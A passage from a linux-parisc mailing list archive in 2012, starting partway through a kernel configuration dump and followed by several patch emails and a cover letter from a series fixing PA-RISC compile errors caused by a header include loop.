# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=3Dm
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=3Dm
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=3Dm
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
# CONFIG_CRYPTO_AES is not set
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
CONFIG_CRYPTO_BLOWFISH=3Dm
CONFIG_CRYPTO_BLOWFISH_COMMON=3Dm
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=3Dm
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=3Dm
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=3Dy
CONFIG_GENERIC_PCI_IOMAP=3Dy
CONFIG_CRC_CCITT=3Dm
CONFIG_CRC16=3Dm
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=3Dy
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=3Dm
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=3Dy
CONFIG_ZLIB_DEFLATE=3Dm
CONFIG_LZO_DECOMPRESS=3Dy
CONFIG_XZ_DEC=3Dy
CONFIG_XZ_DEC_X86=3Dy
CONFIG_XZ_DEC_POWERPC=3Dy
CONFIG_XZ_DEC_IA64=3Dy
CONFIG_XZ_DEC_ARM=3Dy
CONFIG_XZ_DEC_ARMTHUMB=3Dy
CONFIG_XZ_DEC_SPARC=3Dy
CONFIG_XZ_DEC_BCJ=3Dy
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=3Dy
CONFIG_DECOMPRESS_BZIP2=3Dy
CONFIG_DECOMPRESS_LZMA=3Dy
CONFIG_DECOMPRESS_XZ=3Dy
CONFIG_DECOMPRESS_LZO=3Dy
CONFIG_HAS_IOMEM=3Dy
CONFIG_HAS_IOPORT=3Dy
CONFIG_HAS_DMA=3Dy
CONFIG_DQL=3Dy
CONFIG_NLATTR=3Dy
CONFIG_GENERIC_ATOMIC64=3Dy
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set

--MP_/VXS4p+1wRZqOPyUqkJVPNyZ--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 3/6] parisc: add missing forward declarations in asm/hardware.h
Date: Sat, 21 Apr 2012 20:15:52 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <8312665.K23lOI3Ldb@donald.sf-tec.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1335033245 3192 80.91.229.3 (21 Apr 2012 18:34:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:05 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 20:34:04 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLf8G-0004Yo-1N
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 20:34:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752431Ab2DUSdl convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 14:33:41 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:35121 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752365Ab2DUSdj convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:39 -0400
Original-Received: (qmail 24286 invoked from network); 21 Apr 2012 18:33:24 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58543 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:24 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Date: Sat, 21 Apr 2012 20:33:24 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033204.146743@mail.sf-mail.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4282

=46ixes this warnings:

In file included from /home/buildbot/repos/linux/arch/parisc/include/as=
m/processor.h:15:0,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/spinlock.h:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/bitops.h:11,
                 from /home/buildbot/repos/linux/include/linux/bitops.h=
:22,
                 from /home/buildbot/repos/linux/include/linux/kernel.h=
:19,
                 from /home/buildbot/repos/linux/include/linux/sched.h:=
55,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/asm=
-offsets.c:31:
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:106:10: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:106:10: w=
arning: its scope is only this definition or declaration, which is prob=
ably not what you want [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:116:59: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:118:47: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:119:57: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/hardware.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/hardware.h b/arch/parisc/include/a=
sm/hardware.h
index 4e96268..036e703 100644
--- a/arch/parisc/include/asm/hardware.h
+++ b/arch/parisc/include/asm/hardware.h
@@ -95,12 +95,14 @@ struct bc_module {
 #define HPHW_MC	       15
 #define HPHW_FAULTY    31
=20
+struct parisc_device_id;
=20
 /* hardware.c: */
 extern const char *parisc_hardware_description(struct parisc_device_id=
 *id);
 extern enum cpu_type parisc_get_cpu_type(unsigned long hversion);
=20
 struct pci_dev;
+struct hardware_path;
=20
 /* drivers.c: */
 extern struct parisc_device *alloc_pa_dev(unsigned long hpa,
--=20
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 4/6] parisc: drop include of asm/pdc.h from asm/hardware.h
Date: Sat, 21 Apr 2012 20:17:43 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <1908845.8gGWeWu9U7@donald.sf-tec.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1335033246 3194 80.91.229.3 (21 Apr 2012 18:34:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 20:34:06 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLf8H-0004Yo-Kq
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 20:34:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752191Ab2DUSdy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 14:33:54 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:51151 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752325Ab2DUSdi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:38 -0400
Original-Received: (qmail 24282 invoked from network); 21 Apr 2012 18:33:22 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58542 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:22 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Date: Sat, 21 Apr 2012 20:33:22 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033202.936581@mail.sf-mail.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4283

It seems none of the symbols defined by pdc.h is needed, but it introdu=
ces an
include loop causing compile errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/as=
m/spinlock.h:4:0,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/bitops.h:56,
                 from /home/buildbot/repos/linux/include/linux/bitops.h=
:35,
                 from /home/buildbot/repos/linux/include/asm-generic/ge=
torder.h:7,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/page.h:162,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/pdc.h:346,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/hardware.h:5,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/har=
dware.c:30:
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:74:16: e=
rror: field =E2=80=98cpu_type=E2=80=99 has incomplete type
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:77:20: e=
rror: field =E2=80=98model=E2=80=99 has incomplete type
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h: In func=
tion =E2=80=98parisc_requires_coherency=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36: =
error: =E2=80=98mako=E2=80=99 undeclared (first use in this function)
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36: =
note: each undeclared identifier is reported only once for each functio=
n it appears in
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:350:30: =
error: =E2=80=98mako2=E2=80=99 undeclared (first use in this function)

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/hardware.h |    1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/parisc/include/asm/hardware.h b/arch/parisc/include/a=
sm/hardware.h
index 036e703..d1d864b 100644
--- a/arch/parisc/include/asm/hardware.h
+++ b/arch/parisc/include/asm/hardware.h
@@ -2,7 +2,6 @@
 #define _PARISC_HARDWARE_H
=20
 #include <linux/mod_devicetable.h>
-#include <asm/pdc.h>
=20
 #define HWTYPE_ANY_ID		PA_HWTYPE_ANY_ID
 #define HVERSION_ANY_ID		PA_HVERSION_ANY_ID
--=20
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0/6] PA-RISC: fix compile
Date: Sat, 21 Apr 2012 19:52:11 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3040971.EC0xUtAzTX"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1335033247 3199 80.91.229.3 (21 Apr 2012 18:34:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:07 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Arnd Bergmann <arnd@arndb.de>,
	"H. Peter Anvin" <hpa@zytor.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 20:34:05 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLf8G-0004Yo-I9
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 20:34:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752424Ab2DUSdl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 14:33:41 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41349 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752394Ab2DUSdk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:40 -0400
Original-Received: (qmail 24290 invoked from network); 21 Apr 2012 18:33:24 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58544 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:24 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
Original-Date: Sat, 21 Apr 2012 20:33:24 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033204.933033@mail.sf-mail.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4284 gmane.linux.kernel:1285819


--nextPart3040971.EC0xUtAzTX
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Since d66acc39c7cee323733c8503b9de1821a56dff7e (bitops: Optimise get_order())
getorder.h includes log2.h which leads to an include loop on PA-RISC, bringing 
a bunch of other breakage to light. This patchset fixes the compilation of the 
current state of 3.4 on HPPA.

Rolf Eike Beer (6):
  use linux/bitops.h instead of linux/log2.h to get fls()
  parisc: add missing includes in asm/spinlock.h
  parisc: add missing forward declarations in asm/hardware.h
  parisc: drop include of asm/pdc.h from asm/hardware.h
  parisc: add missing include of asm/page.h to asm/pgtable.h
  parisc: move definition of PAGE0 to asm/page.h

 arch/parisc/include/asm/hardware.h |    3 ++-
 arch/parisc/include/asm/page.h     |    6 ++++++
 arch/parisc/include/asm/pdc.h      |    7 -------
 arch/parisc/include/asm/pgtable.h  |    2 ++
 arch/parisc/include/asm/spinlock.h |    2 ++
 arch/parisc/kernel/pdc_cons.c      |    1 +
 arch/parisc/kernel/time.c          |    1 +
 drivers/parisc/sba_iommu.c         |    1 +
 drivers/video/console/sticore.c    |    2 ++
 include/asm-generic/getorder.h     |    2 +-
 10 files changed, 18 insertions(+), 9 deletions(-)

-- 
1.7.9.2

--nextPart3040971.EC0xUtAzTX
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+S88sACgkQXKSJPmm5/E46PACcC4xO4NmD1P7Qv2zPs5DWJZ7T
J0IAniLqkD7WIaecEVJSlMJcI2e6yF9o
=udKg
-----END PGP SIGNATURE-----

--nextPart3040971.EC0xUtAzTX--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 5/6] parisc: add missing include of asm/page.h to asm/pgtable.h
Date: Sat, 21 Apr 2012 20:20:52 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <1619381.g3DYLeTvfU@donald.sf-tec.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1335033247 3201 80.91.229.3 (21 Apr 2012 18:34:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 21 20:34:06 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLf8I-0004Yo-4n
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Apr 2012 20:34:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751771Ab2DUSd6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Apr 2012 14:33:58 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:37000 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752292Ab2DUSdh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:37 -0400
Original-Received: (qmail 24278 invoked from network); 21 Apr 2012 18:33:22 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58541 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:22 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Date: Sat, 21 Apr 2012 20:33:22 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033202.294873@mail.sf-mail.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4285

Fixes these errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/asm/io.h:5:0,
                 from /home/buildbot/repos/linux/include/linux/io.h:22,
                 from /home/buildbot/repos/linux/include/linux/pci.h:54,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/setup.c:35:
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "PAGE_SHIFT" is not defined [-Wundef]
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "PAGE_SHIFT" is not defined [-Wundef]
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "BITS_PER_PTE_ENTRY" is not defined [-Wundef]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/pgtable.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 22dadeb..ee99f23 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -44,6 +44,8 @@ struct vm_area_struct;
 
 #endif /* !__ASSEMBLY__ */
 
+#include <asm/page.h>
+
 #define pte_ERROR(e) \
 	printk("%s:%d: bad pte %08lx.\n", __FILE__, __LINE__, pte_val(e))
 #define pmd_ERROR(e) \
-- 
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 0/6] PA-RISC: fix compile
Date: Sat, 21 Apr 2012 19:52:11 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <1335033204.933033__466.53860849819$1335033247$gmane$org@mail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3040971.EC0xUtAzTX"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1335033247 3208 80.91.229.3 (21 Apr 2012 18:34:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2012 18:34:07 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Arnd Bergmann <arnd@arndb.de>,
	"H. Peter Anvin" <hpa@zytor.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 21 20:34:06 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SLf8H-0004Yo-4c
	for glk-linux-kernel-3@plane.gmane.org; Sat, 21 Apr 2012 20:34:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752503Ab2DUSdm (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 21 Apr 2012 14:33:42 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:44672 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752384Ab2DUSdk (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sat, 21 Apr 2012 14:33:40 -0400
Original-Received: (qmail 24290 invoked from network); 21 Apr 2012 18:33:24 -0000
Original-Received: from dslc-082-083-174-023.pools.arcor-ip.net ([::ffff:82.83.174.23]:58544 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 21 Apr 2012 20:33:24 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
Original-Date: Sat, 21 Apr 2012 20:33:24 +0200
Original-From: <eike-kernel@sf-tec.de>
Original-Message-Id: <1335033204.933033@mail.sf-mail.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1285820 gmane.linux.ports.parisc:4286
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1285820>


--nextPart3040971.EC0xUtAzTX
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Since d66acc39c7cee323733c8503b9de1821a56dff7e (bitops: Optimise get_order())
getorder.h includes log2.h which leads to an include loop on PA-RISC, bringing 
a bunch of other breakage to light. This patchset fixes the compilation of the 
current state of 3.4 on HPPA.

Rolf Eike Beer (6):
  use linux/bitops.h instead of linux/log2.h to get fls()
  parisc: add missing includes in asm/spinlock.h
  parisc: add missing forward declarations in asm/hardware.h
  parisc: drop include of asm/pdc.h from asm/hardware.h
  parisc: add missing include of asm/page.h to asm/pgtable.h
  parisc: move definition of PAGE0 to asm/page.h

 arch/parisc/include/asm/hardware.h |    3 ++-
 arch/parisc/include/asm/page.h     |    6 ++++++
 arch/parisc/include/asm/pdc.h      |    7 -------
 arch/parisc/include/asm/pgtable.h  |    2 ++
 arch/parisc/include/asm/spinlock.h |    2 ++
 arch/parisc/kernel/pdc_cons.c      |    1 +
 arch/parisc/kernel/time.c          |    1 +
 drivers/parisc/sba_iommu.c         |    1 +
 drivers/video/console/sticore.c    |    2 ++
 include/asm-generic/getorder.h     |    2 +-
 10 files changed, 18 insertions(+), 9 deletions(-)

-- 
1.7.9.2

--nextPart3040971.EC0xUtAzTX
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+S88sACgkQXKSJPmm5/E46PACcC4xO4NmD1P7Qv2zPs5DWJZ7T
J0IAniLqkD7WIaecEVJSlMJcI2e6yF9o
=udKg
-----END PGP SIGNATURE-----

